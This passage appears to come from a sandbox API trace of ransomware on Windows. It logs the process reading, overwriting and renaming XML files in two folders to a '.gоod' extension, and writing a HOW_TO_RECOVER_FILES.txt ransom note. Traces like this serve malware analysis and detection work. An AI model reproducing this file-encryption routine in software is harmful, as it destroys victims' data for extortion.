"c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0116.236] GetFileType (hFile=0x6e8) returned 0x1 [0116.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0116.236] GetFileType (hFile=0x6e8) returned 0x1 [0116.236] WriteFile (in: hFile=0x6e8, lpBuffer=0x34890a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x34890a0*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0116.236] CloseHandle (hObject=0x6e8) returned 1 [0116.236] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", lpFilePart=0x0) returned 0x2e [0116.236] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.gоod", lpFilePart=0x0) returned 0x33 [0116.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0116.236] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x417e9be6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x31454)) returned 1 [0116.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0116.237] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.gоod")) returned 1 [0116.237] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", lpFilePart=0x0) returned 0x27 [0116.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0116.237] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x3506658 | out: lpFileInformation=0x3506658*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882)) returned 1 [0116.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0116.237] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", lpFilePart=0x0) returned 0x27 [0116.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0116.237] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0116.238] GetFileType (hFile=0x6e8) returned 0x1 [0116.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0116.238] GetFileType (hFile=0x6e8) returned 0x1 [0116.238] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0116.238] ReadFile (in: hFile=0x6e8, lpBuffer=0x35069e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x35069e0*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0118.515] CloseHandle (hObject=0x6e8) returned 1 [0118.653] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", lpFilePart=0x0) returned 0x27 [0118.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0118.669] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0118.669] GetFileType (hFile=0x6e8) returned 0x1 [0118.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0118.670] GetFileType (hFile=0x6e8) returned 0x1 [0118.670] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x9882 [0118.670] WriteFile (in: hFile=0x6e8, lpBuffer=0x344bd78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x344bd78*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0118.671] CloseHandle (hObject=0x6e8) returned 1 [0118.671] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", lpFilePart=0x0) returned 0x27 [0118.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0118.671] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0118.671] GetFileType (hFile=0x6e8) returned 0x1 [0118.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0118.671] GetFileType (hFile=0x6e8) returned 0x1 [0118.671] ReadFile (in: hFile=0x6e8, lpBuffer=0x344e020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x344e020*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0118.699] CloseHandle (hObject=0x6e8) returned 1 [0118.699] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", lpFilePart=0x0) returned 0x27 [0118.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0118.699] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0118.699] GetFileType (hFile=0x6e8) returned 0x1 [0118.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0118.700] GetFileType (hFile=0x6e8) returned 0x1 [0118.700] WriteFile (in: hFile=0x6e8, lpBuffer=0x344cdc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x344cdc0*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0118.700] CloseHandle (hObject=0x6e8) returned 1 [0118.700] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", lpFilePart=0x0) returned 0x27 [0118.700] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.gоod", lpFilePart=0x0) returned 0x2c [0118.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0118.700] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x42f690a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9892)) returned 1 [0118.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0118.700] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.gоod")) returned 1 [0118.701] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0118.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0118.701] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\client\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e8 [0118.703] GetFileType (hFile=0x6e8) returned 0x1 [0118.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0118.703] GetFileType (hFile=0x6e8) returned 0x1 [0118.703] WriteFile (in: hFile=0x6e8, lpBuffer=0x34cd6e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x34cd6e8*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0118.704] CloseHandle (hObject=0x6e8) returned 1 [0118.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0118.705] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended", lpFilePart=0x0) returned 0x1e [0118.705] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0118.705] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.705] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0118.705] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0118.705] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.705] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0118.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0118.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0118.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0118.706] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended", lpFilePart=0x0) returned 0x1e [0118.706] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0118.706] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.706] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0118.706] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0118.706] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0119.209] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0119.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0119.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0119.210] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", lpFilePart=0x0) returned 0x30 [0119.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0119.210] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x34ff448 | out: lpFileInformation=0x34ff448*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82)) returned 1 [0119.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0119.210] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", lpFilePart=0x0) returned 0x30 [0119.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0119.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0119.210] GetFileType (hFile=0x6e8) returned 0x1 [0119.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0119.210] GetFileType (hFile=0x6e8) returned 0x1 [0119.210] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0119.210] ReadFile (in: hFile=0x6e8, lpBuffer=0x34ff820, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x34ff820*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0119.212] CloseHandle (hObject=0x6e8) returned 1 [0119.212] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", lpFilePart=0x0) returned 0x30 [0119.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0119.212] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0119.212] GetFileType (hFile=0x6e8) returned 0x1 [0119.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0119.212] GetFileType (hFile=0x6e8) returned 0x1 [0119.212] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x16c82 [0119.213] WriteFile (in: hFile=0x6e8, lpBuffer=0x3500bb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3500bb0*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0119.213] CloseHandle (hObject=0x6e8) returned 1 [0119.213] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", lpFilePart=0x0) returned 0x30 [0119.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0119.213] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0119.214] GetFileType (hFile=0x6e8) returned 0x1 [0119.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0119.214] GetFileType (hFile=0x6e8) returned 0x1 [0119.214] ReadFile (in: hFile=0x6e8, lpBuffer=0x3502e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x3502e50*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0119.242] CloseHandle (hObject=0x6e8) returned 1 [0119.242] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", lpFilePart=0x0) returned 0x30 [0119.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0119.242] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0119.243] GetFileType (hFile=0x6e8) returned 0x1 [0119.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0119.243] GetFileType (hFile=0x6e8) returned 0x1 [0119.243] WriteFile (in: hFile=0x6e8, lpBuffer=0x3501bc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3501bc8*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0119.243] CloseHandle (hObject=0x6e8) returned 1 [0119.243] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", lpFilePart=0x0) returned 0x30 [0119.243] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.gоod", lpFilePart=0x0) returned 0x35 [0119.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0119.243] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x434a02b7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16c92)) returned 1 [0119.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0119.243] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.gоod")) returned 1 [0119.244] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: 